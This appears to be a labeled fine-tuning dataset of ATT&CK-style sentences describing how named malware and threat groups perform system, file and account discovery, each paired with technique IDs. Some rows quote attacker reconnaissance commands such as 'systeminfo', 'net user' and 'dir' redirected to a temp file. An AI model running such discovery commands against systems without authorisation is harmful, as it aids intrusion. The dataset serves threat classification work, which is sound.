Winnti for Windows can determine if the OS on a compromised host is newer than Windows XP.,['T1082 - System Information Discovery'],fine_tune
"XAgentOSX contains the getInstalledAPP function to run ""ls -la /Applications"" to gather what applications are installed.",['T1082 - System Information Discovery'],fine_tune
"XCSSET identifies the macOS version and uses ""ioreg"" to determine serial number.",['T1082 - System Information Discovery'],fine_tune
YAHOYAH checks for the system’s Windows OS version and hostname.,['T1082 - System Information Discovery'],fine_tune
ZIRCONIUM has used a tool to capture the processor architecture of a compromised host in order to register it with C2.,['T1082 - System Information Discovery'],fine_tune
"ZeroT gathers the victim's computer name, Windows version, and system language, and then sends it to its C2 server.",['T1082 - System Information Discovery'],fine_tune
"Zeus Panda collects the OS version, system architecture, computer name, product ID, install date, and information on the keyboard mapping to determine the language used on the system.",['T1082 - System Information Discovery'],fine_tune
Zox can enumerate attached drives.,['T1082 - System Information Discovery'],fine_tune
"ZxShell can collect the local hostname, operating system details, CPU speed, and total physical memory.",['T1082 - System Information Discovery'],fine_tune
ZxxZ has collected the host name and operating system product name from a compromised machine.,['T1082 - System Information Discovery'],fine_tune
"admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about the OS: ""ver >> %temp%\download"" ""systeminfo >> %temp%\download""",['T1082 - System Information Discovery'],fine_tune
build_downer has the ability to send system volume information to C2.,['T1082 - System Information Discovery'],fine_tune
cmd can be used to find information about the operating system.,['T1082 - System Information Discovery'],fine_tune
down_new has the ability to identify the system volume information of a compromised host.,['T1082 - System Information Discovery'],fine_tune
"gh0st RAT has gathered system architecture, processor, OS configuration, and installed hardware information.",['T1082 - System Information Discovery'],fine_tune
"jRAT collects information about the OS (version, build type, install date) as well as system up-time upon receiving a connection from a backdoor.",['T1082 - System Information Discovery'],fine_tune
njRAT enumerates the victim operating system and computer name during the initial infection.,['T1082 - System Information Discovery'],fine_tune
3PARA RAT has a command to retrieve metadata for files on disk as well as a command to list the current working directory.,['T1083 - File and Directory Discovery'],fine_tune
4H RAT has the capability to obtain file and directory listings.,['T1083 - File and Directory Discovery'],fine_tune
A Patchwork payload has searched all fixed drives on the victim for files matching a specified list of extensions.,['T1083 - File and Directory Discovery'],fine_tune
"A module in Prikormka collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.",['T1083 - File and Directory Discovery'],fine_tune
"A variant of Elise executes ""dir C:\progra~1"" when initially run.",['T1083 - File and Directory Discovery'],fine_tune
"A version of KONNI searches for filenames created with a previous version of the malware, suggesting different versions targeted the same victims and the versions may work together.",['T1083 - File and Directory Discovery'],fine_tune
ADVSTORESHELL can list files and directories.,['T1083 - File and Directory Discovery'],fine_tune
"APT28 has used Forfiles to locate PDF, Excel, and Word documents during collection. The group also searched a compromised DCCC computer for specific terms.",['T1083 - File and Directory Discovery'],fine_tune
"APT29 obtained information about the configured Exchange virtual directory using ""Get-WebServicesVirtualDirectory"".",['T1083 - File and Directory Discovery'],fine_tune
APT3 has a tool that looks for files and directories on the local file system.,['T1083 - File and Directory Discovery'],fine_tune
APT32's backdoor possesses the capability to list files and directories on a machine.,['T1083 - File and Directory Discovery'],fine_tune
"APT38 have enumerated files and directories, or searched in specific locations within a compromised host.",['T1083 - File and Directory Discovery'],fine_tune
Action RAT has the ability to collect drive and file information on an infected machine.,['T1083 - File and Directory Discovery'],fine_tune
Amadey has searched for folders associated with antivirus software.,['T1083 - File and Directory Discovery'],fine_tune
Aoqin Dragon has run scripts to identify file formats including Microsoft Word.,['T1083 - File and Directory Discovery'],fine_tune
"AppleSeed has the ability to search for .txt, .ppt, .hwp, .pdf, and .doc files in specified directories.",['T1083 - File and Directory Discovery'],fine_tune
Aria-body has the ability to gather metadata from a file and to search for file and directory names.,['T1083 - File and Directory Discovery'],fine_tune
Attor has a plugin that enumerates files with specific extensions on all hard disk drives and stores file information in encrypted log files.,['T1083 - File and Directory Discovery'],fine_tune
AuditCred can search through folders and files on the system.,['T1083 - File and Directory Discovery'],fine_tune
"AutoIt backdoor is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.",['T1083 - File and Directory Discovery'],fine_tune
Avaddon has searched for specific files prior to encryption.,['T1083 - File and Directory Discovery'],fine_tune
Avenger has the ability to browse files in directories such as Program Files and the Desktop.,['T1083 - File and Directory Discovery'],fine_tune
Azorult can recursively search for files in folders and collects files from the desktop with certain extensions.,['T1083 - File and Directory Discovery'],fine_tune
BACKSPACE allows adversaries to search for files.,['T1083 - File and Directory Discovery'],fine_tune
"BADNEWS identifies files with certain extensions from USB devices, then copies them to a predefined directory.",['T1083 - File and Directory Discovery'],fine_tune
BBSRAT can list file and directory information.,['T1083 - File and Directory Discovery'],fine_tune
BLACKCOFFEE has the capability to enumerate files.,['T1083 - File and Directory Discovery'],fine_tune
"BLINDINGCAN can search, read, write, move, and execute files.",['T1083 - File and Directory Discovery'],fine_tune
"BRONZE BUTLER has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal.",['T1083 - File and Directory Discovery'],fine_tune
Babuk has the ability to enumerate files on a targeted system.,['T1083 - File and Directory Discovery'],fine_tune
"BabyShark has used ""dir"" to search for ""programfiles"" and ""appdata"".",['T1083 - File and Directory Discovery'],fine_tune
BackConfig has the ability to identify folders and files related to previous infections.,['T1083 - File and Directory Discovery'],fine_tune
"Backdoor.Oldrea collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files.",['T1083 - File and Directory Discovery'],fine_tune
BadPatch searches for files with specific file extensions.,['T1083 - File and Directory Discovery'],fine_tune
Bandook has a command to list files on a system.,['T1083 - File and Directory Discovery'],fine_tune
Bazar can enumerate the victim's desktop.,['T1083 - File and Directory Discovery'],fine_tune
BlackMould has the ability to find files on the targeted system.,['T1083 - File and Directory Discovery'],fine_tune
BoomBox can search for specific files and directories on a machine.,['T1083 - File and Directory Discovery'],fine_tune
"BoxCaon has searched for files on the system, such as documents located in the desktop folder.",['T1083 - File and Directory Discovery'],fine_tune
Brave Prince gathers file and directory information from the victim’s machine.,['T1083 - File and Directory Discovery'],fine_tune
CaddyWiper can enumerate all files and directories on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
Cardinal RAT checks its current working directory upon execution and also contains watchdog functionality that ensures its executable is located in the correct path (else it will rewrite the payload).,['T1083 - File and Directory Discovery'],fine_tune
Caterpillar WebShell can search for files in directories.,['T1083 - File and Directory Discovery'],fine_tune
ChChes collects the victim's %TEMP% directory path and version of Internet Explorer.,['T1083 - File and Directory Discovery'],fine_tune
CharmPower can enumerate drives and list the contents of the C: drive on a victim's computer.,['T1083 - File and Directory Discovery'],fine_tune
Chimera has utilized multiple commands to identify data of interest in file and directory listings.,['T1083 - File and Directory Discovery'],fine_tune
China Chopper's server component can list directory contents.,['T1083 - File and Directory Discovery'],fine_tune
Clambling can browse directories on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
Clop has searched folders and subfolders for files to encrypt.,['T1083 - File and Directory Discovery'],fine_tune
Cobalt Strike can explore files on a compromised system.,['T1083 - File and Directory Discovery'],fine_tune
"Confucius has used a file stealer that checks the Document, Downloads, Desktop, and Picture folders for documents and images with specific extensions.",['T1083 - File and Directory Discovery'],fine_tune
Conti can discover files on a local system.,['T1083 - File and Directory Discovery'],fine_tune
CosmicDuke searches attached and mounted drives for file extensions and keywords that match a predefined list.,['T1083 - File and Directory Discovery'],fine_tune
CrackMapExec can discover specified filetypes and log files on a targeted system.,['T1083 - File and Directory Discovery'],fine_tune
"Crimson contains commands to list files and directories, as well as search for files matching certain extensions from a defined list.",['T1083 - File and Directory Discovery'],fine_tune
Cryptoistic can scan a directory to identify files for deletion.,['T1083 - File and Directory Discovery'],fine_tune
Cuba can enumerate files by using a variety of functions.,['T1083 - File and Directory Discovery'],fine_tune
Cyclops Blink can use the Linux API `statvfs` to enumerate the current working directory.,['T1083 - File and Directory Discovery'],fine_tune
DDKONG lists files on the victim’s machine.,['T1083 - File and Directory Discovery'],fine_tune
DEATHRANSOM can use loop operations to enumerate directories on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
Dacls can scan directories on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
Dark Caracal collected file listings of all default Windows directories.,['T1083 - File and Directory Discovery'],fine_tune
DarkWatchman has the ability to enumerate file and folder names.,['T1083 - File and Directory Discovery'],fine_tune
Darkhotel has used malware that searched for files with specific patterns.,['T1083 - File and Directory Discovery'],fine_tune
Denis has several commands to search directories for files.,['T1083 - File and Directory Discovery'],fine_tune
"Derusbi is capable of obtaining directory, file, and drive listings.",['T1083 - File and Directory Discovery'],fine_tune
Diavol has a command to traverse the files and directories in a given path.,['T1083 - File and Directory Discovery'],fine_tune
Dragonfly 2.0 used a batch script to gather folder and file names from victim hosts.,['T1083 - File and Directory Discovery'],fine_tune
Dragonfly has used a batch script to gather folder and file names from victim hosts.,['T1083 - File and Directory Discovery'],fine_tune
DropBook can collect the names of all files and folders in the Program Files directories.,['T1083 - File and Directory Discovery'],fine_tune
Dtrack can list files on available disk volumes.,['T1083 - File and Directory Discovery'],fine_tune
"During C0015, the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful.",['T1083 - File and Directory Discovery'],fine_tune
Dust Storm has used Android backdoors capable of enumerating specific files on the infected devices.,['T1083 - File and Directory Discovery'],fine_tune
"DustySky scans the victim for files that contain certain keywords and document types including PDF, DOC, DOCX, XLS, and XLSX, from a list that is obtained from the C2 as a text file. It can also identify logical drives for the infected machine.",['T1083 - File and Directory Discovery'],fine_tune
Ebury can list directory entries.,['T1083 - File and Directory Discovery'],fine_tune
Empire includes various modules for finding files of interest on hosts and network shares.,['T1083 - File and Directory Discovery'],fine_tune
"Epic recursively searches for all .doc files on the system and collects a directory listing of the Desktop, %TEMP%, and %WINDOWS%\Temp directories.",['T1083 - File and Directory Discovery'],fine_tune
FALLCHILL can search files on a victim.,['T1083 - File and Directory Discovery'],fine_tune
FIVEHANDS has the ability to enumerate files on a compromised host in order to encrypt files with specific extensions.,['T1083 - File and Directory Discovery'],fine_tune
"FYAnti can search the ""C:\Windows\Microsoft.NET\"" directory for files of a specified size.",['T1083 - File and Directory Discovery'],fine_tune
FatDuke can enumerate directories on target machines.,['T1083 - File and Directory Discovery'],fine_tune
FinFisher enumerates directories and scans for certain files.,['T1083 - File and Directory Discovery'],fine_tune
FoggyWeb's loader can check for the FoggyWeb backdoor .pri file on a compromised AD FS server.,['T1083 - File and Directory Discovery'],fine_tune
"Forfiles can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)",['T1083 - File and Directory Discovery'],fine_tune
"FunnyDream can identify files with .doc, .docx, .ppt, .pptx, .xls, .xlsx, and .pdf extensions and specific timestamps for collection.",['T1083 - File and Directory Discovery'],fine_tune
Fysbis has the ability to search for files.,['T1083 - File and Directory Discovery'],fine_tune
Gamaredon Group macros can scan for Microsoft Word and Excel files to inject with additional malicious macros. Gamaredon Group has also used its backdoors to automatically list interesting files (such as Office documents) found on a system.,['T1083 - File and Directory Discovery'],fine_tune
"Gelsemium can retrieve data from specific Windows directories, as well as open random files as part of Virtualization/Sandbox Evasion.",['T1083 - File and Directory Discovery'],fine_tune
"GeminiDuke collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs.",['T1083 - File and Directory Discovery'],fine_tune
"Gold Dragon lists the directories for Desktop, program files, and the user’s recently accessed files.",['T1083 - File and Directory Discovery'],fine_tune
"GoldenSpy has included a program ""ExeProtector"", which monitors for the existence of GoldenSpy on the infected system and redownloads if necessary.",['T1083 - File and Directory Discovery'],fine_tune
"GravityRAT collects the volumes mapped on the system, and also steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.",['T1083 - File and Directory Discovery'],fine_tune
HOPLIGHT has been observed enumerating system drives and partitions.,['T1083 - File and Directory Discovery'],fine_tune
"HTTPBrowser is capable of listing files, folders, and drives on a victim.",['T1083 - File and Directory Discovery'],fine_tune
Heyoka Backdoor has the ability to search the compromised host for files.,['T1083 - File and Directory Discovery'],fine_tune
Honeybee's service-based DLL implant traverses the FTP server’s directories looking for files with keyword matches for computer names or certain keywords.,['T1083 - File and Directory Discovery'],fine_tune
HotCroissant has the ability to retrieve a list of files in a given directory as well as drives and drive types.,['T1083 - File and Directory Discovery'],fine_tune
"Hydraq creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives.",['T1083 - File and Directory Discovery'],fine_tune
"Imminent Monitor has a dynamic debugging feature to check whether it is located in the %TEMP% directory, otherwise it copies itself there.",['T1083 - File and Directory Discovery'],fine_tune
Inception used a file listing plugin to collect information about file and directories both on local and remote drives.,['T1083 - File and Directory Discovery'],fine_tune
InnaputRAT enumerates directories and obtains file attributes on a system.,['T1083 - File and Directory Discovery'],fine_tune
InvisiMole can list information about files in a directory and recently opened or used documents. InvisiMole can also search for specific files by supplied file mask.,['T1083 - File and Directory Discovery'],fine_tune
Ixeshe can list file and directory information.,['T1083 - File and Directory Discovery'],fine_tune
JPIN can enumerate drives and their types. It can also change file permissions using cacls.exe.,['T1083 - File and Directory Discovery'],fine_tune
KEYMARBLE has a command to search for files on the victim’s machine.,['T1083 - File and Directory Discovery'],fine_tune
Kasidet has the ability to search for a given filename on a victim.,['T1083 - File and Directory Discovery'],fine_tune
Ke3chang uses command-line interaction to search files and directories.,['T1083 - File and Directory Discovery'],fine_tune
KeyBoy has a command to launch a file browser or explorer on the system.,['T1083 - File and Directory Discovery'],fine_tune
"KillDisk has used the ""FindNextFile"" command as part of its file deletion process.",['T1083 - File and Directory Discovery'],fine_tune
Koadic can obtain a list of directories.,['T1083 - File and Directory Discovery'],fine_tune
"Kwampirs collects a list of files and directories in C:\ with the command ""dir /s /a c:\ >> ""C:\windows\TEMP\[RANDOM].tmp"""".",['T1083 - File and Directory Discovery'],fine_tune
Leafminer used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.,['T1083 - File and Directory Discovery'],fine_tune
Linfo creates a backdoor through which remote attackers can list contents of drives and search for files.,['T1083 - File and Directory Discovery'],fine_tune
MESSAGETAP checks for the existence of two configuration files (keyword_parm.txt and parm.txt) and attempts to read the files every 30 seconds.,['T1083 - File and Directory Discovery'],fine_tune
"MacMa can search for a specific file on the compromised computer and can enumerate files in Desktop, Downloads, and Documents folders.",['T1083 - File and Directory Discovery'],fine_tune
Machete produces file listings in order to search for files to be exfiltrated.,['T1083 - File and Directory Discovery'],fine_tune
"Magic Hound malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.",['T1083 - File and Directory Discovery'],fine_tune
"MarkiRAT can look for files carrying specific extensions such as: .rtf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt, .gpg, .pkr, .kdbx, .key, and .jpb.",['T1083 - File and Directory Discovery'],fine_tune
MegaCortex can parse the available drives and directories to determine which files to encrypt.,['T1083 - File and Directory Discovery'],fine_tune
Micropsia can perform a recursive directory listing for all volume drives available on the victim's machine and can also fetch specific files by their paths.,['T1083 - File and Directory Discovery'],fine_tune
MiniDuke can enumerate local drives.,['T1083 - File and Directory Discovery'],fine_tune
"Misdat is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.",['T1083 - File and Directory Discovery'],fine_tune
"MobileOrder has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.",['T1083 - File and Directory Discovery'],fine_tune
MoonWind has a command to return a directory listing for a specified directory.,['T1083 - File and Directory Discovery'],fine_tune
"NETEAGLE allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.",['T1083 - File and Directory Discovery'],fine_tune
NETWIRE has the ability to search for files on the compromised host.,['T1083 - File and Directory Discovery'],fine_tune
Nebulae can list files and directories on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
NotPetya searches for files ending with dozens of different file extensions prior to encryption.,['T1083 - File and Directory Discovery'],fine_tune
ObliqueRAT has the ability to recursively enumerate files on an infected endpoint.,['T1083 - File and Directory Discovery'],fine_tune
OceanSalt can extract drive information from the endpoint and search files on the system.,['T1083 - File and Directory Discovery'],fine_tune
Octopus can collect information on the Windows directory and searches for compressed RAR files on the host.,['T1083 - File and Directory Discovery'],fine_tune
Okrum has used DriveLetterView to enumerate drive information.,['T1083 - File and Directory Discovery'],fine_tune
Operation Wocao has gathered a recursive directory listing to find files and directories of interest.,['T1083 - File and Directory Discovery'],fine_tune
Orz can gather victim drive information.,['T1083 - File and Directory Discovery'],fine_tune
"OutSteel can search for specific file extensions, including zipped files.",['T1083 - File and Directory Discovery'],fine_tune
POORAIM can conduct file browsing.,['T1083 - File and Directory Discovery'],fine_tune
POWRUNER may enumerate user directories on a victim.,['T1083 - File and Directory Discovery'],fine_tune
Pasam creates a backdoor through which remote attackers can retrieve lists of files.,['T1083 - File and Directory Discovery'],fine_tune
"Penquin can use the command code ""do_vslist"" to send file names, size, and status to C2.",['T1083 - File and Directory Discovery'],fine_tune
Peppy can identify specific files for exfiltration.,['T1083 - File and Directory Discovery'],fine_tune
PingPull can enumerate storage volumes and folder contents of a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
Pisloader has commands to list drives on the victim machine and to list file information for a given directory.,['T1083 - File and Directory Discovery'],fine_tune
PlugX has a module to enumerate drives and find files recursively.,['T1083 - File and Directory Discovery'],fine_tune
"PoetRAT has the ability to list files upon receiving the ""ls"" command from C2.",['T1083 - File and Directory Discovery'],fine_tune
"PowerDuke has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space.",['T1083 - File and Directory Discovery'],fine_tune
Psylo has commands to enumerate all storage devices and to find all files that start with a particular string.,['T1083 - File and Directory Discovery'],fine_tune
Pteranodon identifies files matching certain file extension and copies them to subdirectories it created.,['T1083 - File and Directory Discovery'],fine_tune
Pupy can walk through directories and recursively search for strings in files.,['T1083 - File and Directory Discovery'],fine_tune
QakBot can identify whether it has been run previously on a host by checking for a specified folder.,['T1083 - File and Directory Discovery'],fine_tune
"QuietSieve can search files on the target host by extension, including doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z.",['T1083 - File and Directory Discovery'],fine_tune
RARSTONE obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.,['T1083 - File and Directory Discovery'],fine_tune
REvil has the ability to identify specific files and directories that are not to be encrypted.,['T1083 - File and Directory Discovery'],fine_tune
ROKRAT has the ability to gather a list of files and directories on the infected system.,['T1083 - File and Directory Discovery'],fine_tune
RainyDay can use a file exfiltration tool to collect recently changed files with specific extensions.,['T1083 - File and Directory Discovery'],fine_tune
Ramsay can collect directory and file lists.,['T1083 - File and Directory Discovery'],fine_tune
"Rclone can list files and directories with the `ls`, `lsd`, and `lsl` commands.",['T1083 - File and Directory Discovery'],fine_tune
Remexi searches for files on the system.,['T1083 - File and Directory Discovery'],fine_tune
RemoteUtilities can enumerate files and directories on a target machine.,['T1083 - File and Directory Discovery'],fine_tune
Remsec is capable of listing contents of folders on the victim. Remsec also searches for custom network encryption software on victims.,['T1083 - File and Directory Discovery'],fine_tune
"Rising Sun can enumerate information about files from the infected system, including file size, attributes, creation time, last access time, and write time. Rising Sun can enumerate the compilation timestamp of Windows executable files.",['T1083 - File and Directory Discovery'],fine_tune
Rover automatically searches for files on local drives based on a predefined list of file extensions.,['T1083 - File and Directory Discovery'],fine_tune
SDBbot has the ability to get directory listings or drive information on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
SHOTPUT has a command to obtain a directory listing.,['T1083 - File and Directory Discovery'],fine_tune
"SILENTTRINITY has several modules, such as `ls.py`, `pwd.py`, and `recentFiles.py`, to enumerate directories and files.",['T1083 - File and Directory Discovery'],fine_tune
SLOTHFULMEDIA can enumerate files and directories.,['T1083 - File and Directory Discovery'],fine_tune
SPACESHIP identifies files and directories for collection by searching for specific file extensions or file modification time.,['T1083 - File and Directory Discovery'],fine_tune
"SUGARDUMP can search for and collect data from specific Chrome, Opera, Microsoft Edge, and Firefox files, including any folders that have the string `Profile` in its name.",['T1083 - File and Directory Discovery'],fine_tune
SUNSPOT enumerated the Orion software Visual Studio solution directory path.,['T1083 - File and Directory Discovery'],fine_tune
Sandworm Team has enumerated files on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
Seasalt has the capability to identify the drive type on a victim.,['T1083 - File and Directory Discovery'],fine_tune
"Several Lazarus Group has conducted word searches on compromised machines to identify specific documents of interest. Lazarus Group malware can use a common function to identify target files by their extension, and some also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives.",['T1083 - File and Directory Discovery'],fine_tune
"Shamoon attempts to access the ""ADMIN$"", ""C$\Windows"", ""D$\Windows"", and ""E$\Windows"" shares on the victim with its current privileges.",['T1083 - File and Directory Discovery'],fine_tune
ShimRat can list directories.,['T1083 - File and Directory Discovery'],fine_tune
Sidewinder has used malware to collect information on files and directories.,['T1083 - File and Directory Discovery'],fine_tune
Siloscape searches for the Kubernetes config file and other related files using a regular expression.,['T1083 - File and Directory Discovery'],fine_tune
"Skidmap has checked for the existence of specific files including ""/usr/sbin/setenforce"" and "" /etc/selinux/config"". It also has the ability to monitor the cryptocurrency miner file and process.",['T1083 - File and Directory Discovery'],fine_tune
Sliver can enumerate files on a target system.,['T1083 - File and Directory Discovery'],fine_tune
Smoke Loader recursively searches through directories for files.,['T1083 - File and Directory Discovery'],fine_tune
"SombRAT can execute ""enum"" to enumerate files in storage on a compromised system.",['T1083 - File and Directory Discovery'],fine_tune
Sowbug identified and extracted all Word documents on a server by using a command containing * .doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.,['T1083 - File and Directory Discovery'],fine_tune
StreamEx has the ability to enumerate drive types.,['T1083 - File and Directory Discovery'],fine_tune
StrifeWater can enumerate files on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
StrongPity can parse the hard drive on a compromised host to identify specific file extensions.,['T1083 - File and Directory Discovery'],fine_tune
Stuxnet uses a driver to scan for specific filesystem driver objects.,['T1083 - File and Directory Discovery'],fine_tune
SynAck checks its directory location in an attempt to avoid launching in a sandbox.,"['T1083 - File and Directory Discovery', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks']",fine_tune
SysUpdate can search files on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
"TAINTEDSCRIBE can use ""DirectoryList"" to enumerate files in a specified directory.",['T1083 - File and Directory Discovery'],fine_tune
"TINYTYPHON searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.",['T1083 - File and Directory Discovery'],fine_tune
TSCookie has the ability to discover drive information on the infected host.,['T1083 - File and Directory Discovery'],fine_tune
Taidoor can search for specific files.,['T1083 - File and Directory Discovery'],fine_tune
"TajMahal has the ability to index files from drives, user profiles, and removable drives.",['T1083 - File and Directory Discovery'],fine_tune
TeamTNT has used a script that checks `/proc/*/environ` for environment variables related to AWS.,['T1083 - File and Directory Discovery'],fine_tune
"The IceApple Directory Lister module can list information about files and directories including creation time, last write time, name, and size.",['T1083 - File and Directory Discovery'],fine_tune
"TrickBot searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip. It can also obtain browsing history, cookies, and plug-in information.",['T1083 - File and Directory Discovery'],fine_tune
Tropic Trooper has monitored files' modified time.,['T1083 - File and Directory Discovery'],fine_tune
Turian can search for specific files and list directories.,['T1083 - File and Directory Discovery'],fine_tune
"Turla surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, the Program Files directory, and Recent. Turla RPC backdoors have also searched for files matching the ""lPH*.dll"" pattern.",['T1083 - File and Directory Discovery'],fine_tune
"UNC2452 obtained information about the configured Exchange virtual directory using ""Get-WebServicesVirtualDirectory"".",['T1083 - File and Directory Discovery'],fine_tune
USBferry can detect the victim's file or folder list.,['T1083 - File and Directory Discovery'],fine_tune
Volgmer can list directories on a victim.,['T1083 - File and Directory Discovery'],fine_tune
"WannaCry searches for variety of user files by file extension before encrypting them using RSA and AES, including Office, PDF, image, audio, video, source code, archive/compression format, and key and certificate files.",['T1083 - File and Directory Discovery'],fine_tune
WarzoneRAT can enumerate directories on a compromise host.,['T1083 - File and Directory Discovery'],fine_tune
WastedLocker can enumerate files and directories just prior to encryption.,['T1083 - File and Directory Discovery'],fine_tune
WhisperGate can locate files based on hardcoded file extensions.,['T1083 - File and Directory Discovery'],fine_tune
WinMM sets a WH_CBT Windows hook to search for and capture files on the victim.,['T1083 - File and Directory Discovery'],fine_tune
WindTail has the ability to enumerate the users home directory and the path to its own application bundle.,['T1083 - File and Directory Discovery'],fine_tune
Windigo has used a script to check for the presence of files created by OpenSSH backdoors.,['T1083 - File and Directory Discovery'],fine_tune
Winnti Group has used a program named ff.exe to search for specific documents on compromised hosts.,['T1083 - File and Directory Discovery'],fine_tune
Winnti for Windows can check for the presence of specific files prior to moving to the next phase of execution.,['T1083 - File and Directory Discovery'],fine_tune
"XAgentOSX contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory. XAgentOSX contains the showBackupIosFolder function to check for IOS device backups by running ""ls -la ~/Library/Application\ Support/MobileSync/Backup/"".",['T1083 - File and Directory Discovery'],fine_tune
XCSSET has used `mdfind` to enumerate a list of apps known to grant screen sharing permissions.,['T1083 - File and Directory Discovery'],fine_tune
"Zebrocy searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. Zebrocy also runs the ""echo %APPDATA%"" command to list the contents of the directory. Zebrocy can obtain the current execution path as well as perform drive enumeration.",['T1083 - File and Directory Discovery'],fine_tune
Zox can enumerate files on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
ZxShell has a command to open a file manager and explorer on the system.,['T1083 - File and Directory Discovery'],fine_tune
"admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about files and directories: ""dir c:\ >> %temp%\download"" ""dir ""c:\Documents and Settings"" >> %temp%\download"" ""dir ""c:\Program Files\"" >> %temp%\download"" ""dir d:\ >> %temp%\download""",['T1083 - File and Directory Discovery'],fine_tune
ccf32 can parse collected files to identify specific file extensions.,['T1083 - File and Directory Discovery'],fine_tune
"cmd can be used to find files and directories with native functionality such as ""dir"" commands.",['T1083 - File and Directory Discovery'],fine_tune
down_new has the ability to list the directories on a compromised host.,['T1083 - File and Directory Discovery'],fine_tune
jRAT can browse file systems.,['T1083 - File and Directory Discovery'],fine_tune
"menuPass has searched compromised systems for folders of interest including those related to HR, audit and expense, and meeting memos.",['T1083 - File and Directory Discovery'],fine_tune
njRAT can browse file systems using a file manager module.,['T1083 - File and Directory Discovery'],fine_tune
zwShell can browse the file system.,['T1083 - File and Directory Discovery'],fine_tune
"APT29 obtained a list of users and their roles from an Exchange server using ""Get-ManagementRoleAssignment"".",['T1087 - Account Discovery'],fine_tune
"XCSSET attempts to discover accounts from various locations such as a user's Evernote, AppleID, Telegram, Skype, and WeChat data.",['T1087 - Account Discovery'],fine_tune
"APT1 used the commands ""net localgroup"",""net user"", and ""net group"" to find accounts on the system.",['T1087.001 - Account Discovery: Local Account'],fine_tune
"APT3 has used a tool that can obtain info about local and global group users, power users, and administrators.",['T1087.001 - Account Discovery: Local Account'],fine_tune
"APT32 enumerated administrative users using the commands ""net localgroup administrators"".",['T1087.001 - Account Discovery: Local Account'],fine_tune
Agent Tesla can collect account information from the victim’s machine.,['T1087.001 - Account Discovery: Local Account'],fine_tune
Bankshot gathers domain and account names/information through process monitoring.,"['T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
Bazar can identify administrator accounts on an infected host.,['T1087.001 - Account Discovery: Local Account'],fine_tune
BitPaymer can enumerate the sessions for each user logged onto the infected host.,['T1087.001 - Account Discovery: Local Account'],fine_tune
"Chimera has used ""net user"" for account discovery.",['T1087.001 - Account Discovery: Local Account'],fine_tune
"Commands under ""net user"" can be used in Net to gather information about and manipulate user accounts.",['T1087.001 - Account Discovery: Local Account'],fine_tune
"During Operation CuckooBees, the threat actors used the `net user` command to gather account information.",['T1087.001 - Account Discovery: Local Account'],fine_tune
"Elise executes ""net user"" after initial communication is made to the remote server.",['T1087.001 - Account Discovery: Local Account'],fine_tune
Empire can acquire local and domain user account information.,"['T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
"Epic gathers a list of all user accounts, privilege classes, and time of last logon.",['T1087.001 - Account Discovery: Local Account'],fine_tune
HyperStack can enumerate all account names on a remote share.,['T1087.001 - Account Discovery: Local Account'],fine_tune
InvisiMole has a command to list account information on the victim’s machine.,['T1087.001 - Account Discovery: Local Account'],fine_tune
Kazuar gathers information on local groups and members on the victim’s machine.,['T1087.001 - Account Discovery: Local Account'],fine_tune
"Ke3chang performs account discovery using commands such as ""net localgroup administrators"" and ""net group ""REDACTED"" /domain"" on specific permissions groups.","['T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account']",fine_tune
"Kwampirs collects a list of accounts with the command ""net users"".",['T1087.001 - Account Discovery: Local Account'],fine_tune
MURKYTOP has the capability to retrieve information about users on remote hosts.,['T1087.001 - Account Discovery: Local Account'],fine_tune
Milan has run `C:\Windows\system32\cmd.exe /c cmd /c dir c:\users\ /s 2>&1` to discover local accounts.,['T1087.001 - Account Discovery: Local Account'],fine_tune
